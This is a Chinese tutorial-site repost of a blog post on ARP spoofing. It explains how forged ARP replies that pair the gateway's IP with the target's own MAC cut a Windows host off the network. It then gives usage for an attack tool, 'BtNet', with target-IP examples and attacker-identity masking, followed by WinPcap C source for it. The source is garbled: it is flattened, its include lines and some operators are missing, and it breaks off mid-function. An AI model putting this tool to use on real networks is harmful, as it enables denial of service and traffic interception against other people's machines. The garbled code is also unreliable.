明輝手游網(wǎng)中心:是一個(gè)免費(fèi)提供流行視頻軟件教程、在線學(xué)習(xí)分享的學(xué)習(xí)平臺(tái)!

基于ARP欺騙的網(wǎng)絡(luò)攻擊程序源碼_ARP原理

[摘要]最近開(kāi)始學(xué)WINPCAP, 看了很多高手寫(xiě)的基于arp欺騙的抓包工具, 尤其是電子科大的TOo2y師兄的《詳談?wù){(diào)用winpcap驅(qū)動(dòng)寫(xiě)arp多功能工具》, 令我收益非淺。 下面是我把這個(gè)思想改成a...

最近開(kāi)始學(xué)WINPCAP, 看了很多高手寫(xiě)的基于arp欺騙的抓包工具, 尤其是電子科大的TOo2y師兄的《詳談?wù){(diào)用winpcap驅(qū)動(dòng)寫(xiě)arp多功能工具》, 令我收益非淺。 下面是我把這個(gè)思想改成arp攻擊程序(可令目標(biāo)主機(jī)斷開(kāi)網(wǎng)絡(luò)連接)的一些測(cè)試。 高手請(qǐng)略過(guò), 以免有班門(mén)弄斧之閑。

一般的arp spoof是向被欺騙主機(jī)發(fā)送ARP REPLY數(shù)據(jù)報(bào),把其中的源IP地址置為被欺騙主機(jī)要發(fā)包去的主機(jī)地址, 源MAC地址卻改為自己的MAC地址。 假設(shè)有兩臺(tái)機(jī)器A,B, 發(fā)送一個(gè)ARP REPLY數(shù)據(jù)報(bào)給A,其中源IP地址為B的地址,源MAC地址為我的機(jī)器的MAC地址(IPRouter功能打開(kāi)確保數(shù)據(jù)被轉(zhuǎn)發(fā)), 那么A發(fā)送到B的數(shù)據(jù)報(bào)就發(fā)到我的機(jī)器上了, 同樣對(duì)B做相同到操作, 那么A<==>B之間的數(shù)據(jù)就會(huì)源源不斷的通過(guò)我的機(jī)器轉(zhuǎn)發(fā), 直到一個(gè)正常的ARP包更改了A,B的arp緩存為止。

那么我們把發(fā)送給A的arp數(shù)據(jù)報(bào)的源IP,源MAC更改成任意的, 會(huì)出現(xiàn)什么現(xiàn)象?下面是我的幾個(gè)測(cè)試

1. 源IP更改為網(wǎng)關(guān)IP,源MAC改為不存在的MAC地址

對(duì)目標(biāo)主機(jī)幾乎不影響

2. 源IP更改為網(wǎng)關(guān)IP,源MAC改為內(nèi)網(wǎng)內(nèi)任意一臺(tái)存在但沒(méi)有開(kāi)啟IPRouter的主機(jī)的MAC地址

幾乎不影響

3. 源IP更改為網(wǎng)關(guān)IP,源MAC改為目標(biāo)主機(jī)的MAC

目標(biāo)主機(jī)立刻斷網(wǎng)!

可見(jiàn)當(dāng)發(fā)送經(jīng)過(guò)我們構(gòu)造的ARP REALY包給目標(biāo)主機(jī)時(shí),會(huì)使目標(biāo)主機(jī)的ARP緩存更改, 數(shù)據(jù)封裝到MAC層的時(shí)候會(huì)把網(wǎng)關(guān)的IP和自己的MAC地址封裝到一起, 那么發(fā)送到網(wǎng)關(guān)的數(shù)據(jù)報(bào)只好發(fā)給自己了, 呵呵。

至于第1種情況, 猜想大概是由于MAC地址不存在,目標(biāo)主機(jī)會(huì)廣播一個(gè)ARP REQUEST包而更新了自己的ARP緩存所致。

至于第2種情況, 猜想源MAC地址所屬主機(jī)會(huì)返回一個(gè)ARP REPLY給目標(biāo)主機(jī)。

水平有限, 所以只是猜想, 知道的請(qǐng)告訴我一聲, 先謝過(guò)了。

再說(shuō)一下, 以上測(cè)試只對(duì)于windows系統(tǒng), 當(dāng)然也測(cè)試過(guò)對(duì)沒(méi)有配置好的Red Hat成功過(guò)。

測(cè)試程序(BtNet.exe)說(shuō)明:

Usage: BtNet -h attackIP -o gateIP [-m spoofedMAC]

-m參數(shù)是你要修改的源MAC地址.

為了隱蔽攻擊者身份, 程序再得到目標(biāo)主機(jī)MAC地址時(shí)偽裝成IP:128.128.128.128,MAC:a5-a5-a5-a5-a5-a5, 可能會(huì)得不到目標(biāo)主機(jī)的MAC地址, 那么要得到MAC地址請(qǐng)借助第三方工具。

附測(cè)試程序代碼

#include "packet32.h" #include "ntddndis.h" #include #include #include #include  #pragma comment(lib,"ws2_32") #pragma comment(lib,"packet")  #define ETH_IP 0x0800 #define ETH_ARP 0x0806 #define ARP_REQUEST 0x0001 //arp請(qǐng)求包 #define ARP_REPLY 0x0002 //arp應(yīng)答包 #define ARP_HARDWARE 0x0001 #define max_num_adapter 10  #pragma pack(push,1)  typedef struct ethdr { unsigned char eh_dst[6]; //以太網(wǎng)目的地址 unsigned char eh_src[6]; //以太網(wǎng)源地址 unsigned short eh_type; // }ETHDR,*PETHDR; typedef struct arphdr //arp頭 { unsigned short arp_hdr; //硬件類型 unsigned short arp_pro; //協(xié)議類型 unsigned char arp_hln; //硬件地址長(zhǎng)度 unsigned char arp_pln; //協(xié)議地址長(zhǎng)度 unsigned short arp_opt; // unsigned char arp_sha[6]; //發(fā)送端以太網(wǎng)地址 unsigned long arp_spa; //發(fā)送端ip地址 unsigned char arp_tha[6]; //接收端以太網(wǎng)地址 unsigned long arp_tpa; //接收端ip地址 }ARPHDR,*PARPHDR;  typedef struct ip_mac { u_long ip; unsigned char mac[6]; }IP_MAC,*PIP_MAC;  #pragma pack(push)  LPADAPTER lpAdapter; char adapterlist[max_num_adapter][1024]; IP_MAC toipandmac; IP_MAC oipandmac,myipandmac; BOOL param6=FALSE; char *noMACstr; char noMAC[6][3]; u_long mytoIP,oIP; BOOL sendtoOip; MSG msg; UINT newtimer; char MYIP[20]="128.128.128.128"; BOOL toipandmac_flag=FALSE,myipandmac_flag=FALSE,oipandmac_flag=FALSE;  int getint(char c) { int t=-1; if((c<='9')&&(c>='0')) t=c-'0'; else if((c>='a')&&(c<='f')) t=10+c-'a'; else if((c>='A')&&(c<='F')) t=10+c-'A'; return t; }  void start() { printf("BtNet //--an ARP Tool test the Windows Break the Internetn"); printf("written by Ruder,10/2003n"); printf("Homepage: http://xEyes.cdut.net/ruder/index.htm;n"); printf("E-mail: cocoruder@163.comn"); printf("nUsage: BtNet -h attackIP -o gateIP [-m spoofedMAC]n"); printf("Example:n"); printf("BtNet -h 202.115.138.12 -o 202.115.138.1n"); printf("BtNet -h 202.115.138.12 -o 202.115.138.1 -m 00-50-fc-6a--6b--7cn"); printf(" Warning: You must have installed the winpcap_2.3 or

winpcap_3.0_alphan"); return ; } DWORD WINAPI sniff(LPVOID) { LPPACKET lppackets,lpPacketr; char recvbuf[1024*250]; ULONG ulbytesreceived,off; ETHDR *eth; ARPHDR *arp; char *buf,*pChar,*base; char szTemp[20]; struct bpf_hdr *hdr; if((lppackets=PacketAllocatePacket())==FALSE) { printf("PacketAllocatePacket send Error: %dn",GetLastError()); return 0; } if(PacketSetHwFilter(lpAdapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE) { printf("Warning: Unable to set the adapter to promiscuous moden"); } if(PacketSetBuff(lpAdapter,500*1024)==FALSE) { printf("PacketSetBuff Error: %dn",GetLastError()); return 0; } if(PacketSetReadTimeout(lpAdapter,1)==FALSE) { printf("Warning: Unable to set the timeoutn"); } if((lpPacketr=PacketAllocatePacket())==FALSE) { printf("PacketAllocatePacket receive Error: %dn",GetLastError()); return 0; } PacketInitPacket(lpPacketr,(char *)recvbuf,sizeof(recvbuf)); while(!kbhit()) { if(PacketReceivePacket(lpAdapter,lpPacketr,TRUE)==FALSE) { return 0; } //getdata(lppacketr,option); ulbytesreceived=lpPacketr->ulBytesReceived; buf=(char *)lpPacketr->Buffer; off=0; while(off{ if(kbhit()) { return 0; } hdr=(struct bpf_hdr *)(buf+off); off+=hdr->bh_hdrlen; pChar=(char *)(buf+off); base=pChar; off=Packet_WORDALIGN(off+hdr->bh_caplen); eth=(PETHDR)pChar; //以太頭 arp=(PARPHDR)(pChar+sizeof(ETHDR)); //arp頭 int i; if((eth->eh_type==htons(ETH_ARP))&& (arp->arp_opt==htons(ARP_REPLY))) { //if (arp->arp_tpa==htonl(ntohl(inet_addr(MYIP)))) { if(oipandmac_flag&&myipandmac_flag&&toipandmac_flag) return 0; if (((toipandmac.ip==htonl(arp->arp_spa))&&(toipandmac_flag==FALSE)) ((myipandmac.ip==htonl(arp->arp_spa))&&(myipandmac_flag==FALSE)) ((oipandmac.ip==htonl(arp->arp_spa))&&(oipandmac_flag==FALSE))) { memset(szTemp,0,sizeof(szTemp)); memcpy(szTemp,&arp->arp_spa,sizeof(arp->arp_spa)); printf("[IP]:"); printf("%s",inet_ntoa(*((struct in_addr *)szTemp))); pr


上面是電腦上網(wǎng)安全的一些基礎(chǔ)常識(shí),學(xué)習(xí)了安全知識(shí),幾乎可以讓你免費(fèi)電腦中毒的煩擾。